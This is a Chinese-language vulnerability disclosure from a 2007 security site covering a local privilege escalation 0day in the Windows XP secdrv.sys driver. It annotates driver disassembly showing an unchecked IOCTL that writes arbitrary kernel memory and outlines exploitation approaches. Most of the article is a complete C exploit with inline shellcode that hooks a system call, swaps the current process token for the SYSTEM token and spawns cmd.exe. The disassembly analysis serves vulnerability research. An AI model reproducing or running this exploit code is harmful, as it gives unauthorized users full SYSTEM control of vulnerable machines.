xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞


创建时间:2007-10-23
文章属性:原创
文章提交:whitecell (sinister_at_whitecell.org)

Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2007-10-23

    这个内核提权的0day发现有段日子了,据说最近被 Symantec 拣到并报给了 MS,
经内部讨论后决定把细节公布出来,本意是和大家共同探讨,一起学习提高。此漏洞
程序仅供学习使用,对滥用此漏洞所造成的危害,Whitecell 组织与本人概不负责。
特此声名。

    在分析 Windows 各个驱动程序的时候,无意间发现了一个漏洞,该漏洞可以让
任意用户提升到SYSTEM权限.该漏洞发生在驱动程序 secdrv.sys 的 IRP_MJ_DEVICE_CONTROL
理例程中,因为缺少必要的对必要的参数进行检查,导致可以写任意字节到任意核心内存,
导致D.o.S或者权限提升.下面是出现漏洞的代码分析片断:

DISPATCH处理函数

loc_11D60:                              ; DATA XREF: sub_11AA6+8Bo
.text:00011D60                 push    esi
.text:00011D61                 mov     esi, [esp+0Ch]
.text:00011D65                 push    edi
.text:00011D66                 xor     edi, edi
.text:00011D68                 mov     eax, [esi+60h]
.text:00011D6B                 and     dword ptr [esi+18h], 0
.text:00011D6F                 and     dword ptr [esi+1Ch], 0
.text:00011D73                 mov     al, [eax]
.text:00011D75                 test    al, al
.text:00011D77                 jz      short loc_11D85
.text:00011D77
.text:00011D79                 cmp     al, 0Eh
.text:00011D7B                 jnz     short loc_11D85
.text:00011D7B
.text:00011D7D                 push    esi
.text:00011D7E                 call    sub_11CD8 ;-> 处理IRP_MJ_DEVICE_CONTROL
.text:00011D7E
.text:00011D83                 mov     edi, eax
.text:00011D83
.text:00011D85
.text:00011D85 loc_11D85:                              ; CODE XREF: .text:00011D77j
.text:00011D85                                         ; .text:00011D7Bj
.text:00011D85                 xor     dl, dl
.text:00011D87                 mov     ecx, esi
.text:00011D89                 call    ds:IofCompleteRequest
.text:00011D8F                 mov     eax, edi
.text:00011D91                 pop     edi
.text:00011D92                 pop     esi
.text:00011D93                 retn    8


有问题的函数:

.text:00011CD8 sub_11CD8       proc near               ; CODE XREF: .text:00011D7Ep
.text:00011CD8
.text:00011CD8 arg_0           = dword ptr  8
.text:00011CD8
.text:00011CD8                 push    ebx
.text:00011CD9                 mov     ebx, [esp+arg_0]
.text:00011CDD                 push    ebp
.text:00011CDE                 push    esi
.text:00011CDF                 mov     eax, [ebx+60h]
.text:00011CE2                 push    edi
.text:00011CE3                 cmp     dword ptr [eax+0Ch], 0CA002813h
.text:00011CEA                 jz      short loc_11D07 ; -> 处理 0CA002813H 控制字
.text:00011CEA
.text:00011CEC                 mov     eax, dword_12364
.text:00011CF1                 xor     edi, edi
.text:00011CF3                 cmp     eax, edi
.text:00011CF5                 jnz     short loc_11CFE
.text:00011CF5
.text:00011CF7                 mov     eax, 0C0000010h
.text:00011CFC                 jmp     short loc_11D39
.text:00011CFC
.text:00011CFE ; ---------------------------------------------------------------------------
.text:00011CFE
.text:00011CFE loc_11CFE:                              ; CODE XREF: sub_11CD8+1Dj
.text:00011CFE                 lea     ecx, [ebx+18h]
.text:00011D01                 push    ecx
.text:00011D02                 push    ebx
.text:00011D03                 call    eax
.text:00011D05                 jmp     short loc_11D59
.text:00011D05
.text:00011D07 ; ---------------------------------------------------------------------------
.text:00011D07
.text:00011D07 loc_11D07:                              ; CODE XREF: sub_11CD8+12j
.text:00011D07                 xor     edi, edi
.text:00011D09                 mov     [ebx+18h], edi
.text:00011D0C                 mov     [ebx+1Ch], edi
.text:00011D0F                 mov     ebp, [eax+4]
.text:00011D12                 mov     esi, [eax+10h]
.text:00011D15                 cmp     [eax+8], ebp
.text:00011D18                 jnz     short loc_11D34
.text:00011D18
.text:00011D1A                 push    dword ptr [esi+0Ch]
.text:00011D1D                 lea     eax, [esi+10h]
.text:00011D20                 push    eax
.text:00011D21                 mov     eax, dword_12358
.text:00011D26                 push    eax
.text:00011D27                 push    dword ptr [esi+4]
.text:00011D2A                 push    dword ptr [esi]
.text:00011D2C                 call    dword ptr [eax+10h] ; -> 该函数中没有检查输入输出
.text:00011D2F                 cmp     eax, 0Ah
.text:00011D32                 jz      short loc_11D41     ; -> 如果函数返回 0Ah 那么进行拷贝
.text:00011D32
.text:00011D34
.text:00011D34 loc_11D34:                              ; CODE XREF: sub_11CD8+40j
.text:00011D34                 mov     eax, 0C0000001h
.text:00011D34
.text:00011D39
.text:00011D39 loc_11D39:                              ; CODE XREF: sub_11CD8+24j
.text:00011D39                 mov     [ebx+18h], eax
.text:00011D3C                 mov     [ebx+1Ch], edi
.text:00011D3F                 jmp     short loc_11D59
.text:00011D3F
.text:00011D41 ; ---------------------------------------------------------------------------
.text:00011D41
.text:00011D41 loc_11D41:                              ; CODE XREF: sub_11CD8+5Aj
.text:00011D41                 mov     edi, [ebx+3Ch]  ; -> 在此之前没有对UserBuffer进行检查,直接复制数据到UserBuffer
.text:00011D44                 mov     ecx, ebp
.text:00011D46                 mov     eax, ecx
.text:00011D48                 shr     ecx, 2
.text:00011D4B                 rep movsd
.text:00011D4D                 mov     ecx, eax
.text:00011D4F                 and     ecx, 3
.text:00011D52                 xor     eax, eax
.text:00011D54                 rep movsb
.text:00011D56                 mov     [ebx+1Ch], ebp
.text:00011D56
.text:00011D59
.text:00011D59 loc_11D59:                              ; CODE XREF: sub_11CD8+2Dj
.text:00011D59                                         ; sub_11CD8+67j
.text:00011D59                 pop     edi
.text:00011D5A                 pop     esi
.text:00011D5B                 pop     ebp
.text:00011D5C                 pop     ebx
.text:00011D5D                 retn    4
.text:00011D5D
.text:00011D5D sub_11CD8       endp

看完漏洞代码的片断后,我们知道这个漏洞其实非常好利用

利用方法1:

    和之前的Symtdi.sys的提权漏洞一样,去 HOOK 一个不常用的系统调用,然后
我们自己出发系统调用,来使系统运行我们的特权代码

利用方法2:

    由于没有写入的数据限制,我们可以直接在GDT中添加调用门,或者在 HOOK IDT
中的中断处理例程 (要注意多CPU的情况)


#include <stdio.h>
#include <windows.h>

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {

    SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;



typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


NTSTATUS
(NTAPI *NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );


VOID
SetShellCodeToMemory(
    PVOID    ShellCodeMemory
    )
{
    OSVERSIONINFOEX    OsVersionInfo;

    RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

    if ( OsVersionInfo.dwMajorVersion != 5 ) {

        printf( "Not NT5 system\n" );
        ExitProcess( 0 );
        return;
    }

    if ( OsVersionInfo.dwMinorVersion == 1 ) {
    
        __asm {

            call CopyXpShellCode

            nop
            nop
            nop
            nop
            nop
            nop

            mov    eax,0xFFDFF124    // eax = KPCR        (not 3G Mode)
            mov eax,[eax]

            mov    esi,[eax+0x220]
            mov    eax,esi

        searchXp:

            mov    eax,[eax+0x88]
            sub    eax,0x88
            mov    edx,[eax+0x84]
            cmp    edx,0x4    // Find System Process
            jne    searchXp

            mov    eax,[eax+0xc8]    // 获取system进程的token
            mov    [esi+0xc8],eax    // 修改当前进程的token

            ret 8
                
    CopyXpShellCode:
            pop esi
            mov edi, ShellCodeMemory
            lea ecx, CopyXpShellCode
            sub ecx, esi
            cld
            rep movsb
        }
    
    }

}

int main(int argc, char* argv[])
{
    NTSTATUS    status;
    PVOID    ZwVdmControl = NULL;
    DWORD    HookAddress = 0x804E3AD8;    // test by xp sp2
    PVOID    ShellCodeMemory = (PVOID)0x200;
    DWORD    MemorySize = 0x1000;

    HANDLE    deviceHandle;
    DWORD    dwReturnSize = 0;

    SC_HANDLE    hscmHandle = NULL;
    SC_HANDLE    hscDriver = NULL;

    PROCESS_INFORMATION            pi;
    STARTUPINFOA                stStartup;
    PVOID        InputBuffer = NULL;

    printf( "\tWindows Local Privilege Escalation Vulnerability Exploit 0day (POC)\n" );
    printf( "Create by Whitecell's Polymorphours@whitecell.org 2007/04/15\n" );
    printf( "TEST OS: WINDOWS XP SP2\n" );

    printf( "[*] Connect SCM ... " );

    hscmHandle = OpenSCManager ( NULL, NULL, GENERIC_READ | SERVICE_START );
    if ( NULL == hscmHandle ) {
    
        printf( "failed, code: %d\n", GetLastError() );
        return 0;
    }

    printf( "success!!\n" );
    printf( "[*] Open services ... " );

    hscDriver = OpenService( hscmHandle, "secdrv", GENERIC_READ | SERVICE_START );
    if ( NULL == hscDriver ) {
    
        printf( "failed, code: %d\n", GetLastError() );
        CloseServiceHandle ( hscmHandle );
        return 0;
    }

    printf( "success!!\n" );
    printf( "[*] Start services ... " );

    //
    // 启动secdrv驱动
    //

    if ( !StartService( hscDriver, 0, NULL ) ) {
    
        if ( ERROR_SERVICE_ALREADY_RUNNING != GetLastError() ) {

            printf( "failed, code: %d\n", GetLastError() );
            CloseServiceHandle ( hscDriver );
            CloseServiceHandle ( hscmHandle );
            return 0;
        }
    }

    printf( "success!!\n" );

    CloseServiceHandle ( hscDriver );
    CloseServiceHandle ( hscmHandle );

    NtAllocateVirtualMemory = (long (__stdcall *)(void *,void ** ,unsigned long,unsigned long *,unsigned long,unsigned

long))GetProcAddress( LoadLibrary("ntdll.dll"), "NtAllocateVirtualMemory" );
    if ( NtAllocateVirtualMemory == NULL ) {
    
        printf( "GetProcAddress failed, code: %d\n" );
        return 0;
    }

    ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );

    printf( "[*] Create execute environment ... " );

    status = NtAllocateVirtualMemory( (HANDLE)-1,
                                      &ShellCodeMemory,
                                      0,
                                      &MemorySize,
                                      MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                      PAGE_EXECUTE_READWRITE );
    if ( status != STATUS_SUCCESS ) {
    
        printf( "failed!\n[-] NtAllocateVirtualMemory failed, status: %08X\n", status );
        return 0;
    }

    printf( "Ok!\n" );

    //
    // 初始化 ShellCode
    //

    memset( ShellCodeMemory, 0x90, MemorySize );
    SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x200) );

    deviceHandle = CreateFile("\\\\.\\secdrv",
                        0,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL);
    if ( INVALID_HANDLE_VALUE == deviceHandle ) {
    
        printf( "[-] Open device failed, code: %d\n", GetLastError() );
        return 0;
    } else {
    
        printf( "[*] Open device success\n" );
    }

    InputBuffer = LocalAlloc( LPTR, 0x1000 );

    *(PDWORD)InputBuffer = 0x1;
    *(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;

    DeviceIoControl( deviceHandle,
                     0xca002813,
                     InputBuffer,
                     4,
                     (PVOID)HookAddress,
                     4,
                     &dwReturnSize,  
                     NULL );

    CloseHandle( deviceHandle );

    printf( "[*] call shellcode ... " );

    _asm {
    
        xor ecx,ecx
        push ecx
        push ecx
        mov eax, ZwVdmControl
        call eax
    }

    printf( "Done.\n" );
    printf( "[*] Create New Process\n" );

    GetStartupInfo( &stStartup );

    CreateProcess( NULL,
                    "cmd.exe",
                    NULL,
                    NULL,
                    TRUE,
                    NULL,
                    NULL,
                    NULL,
                    &stStartup,
                    &pi );



WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯


WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/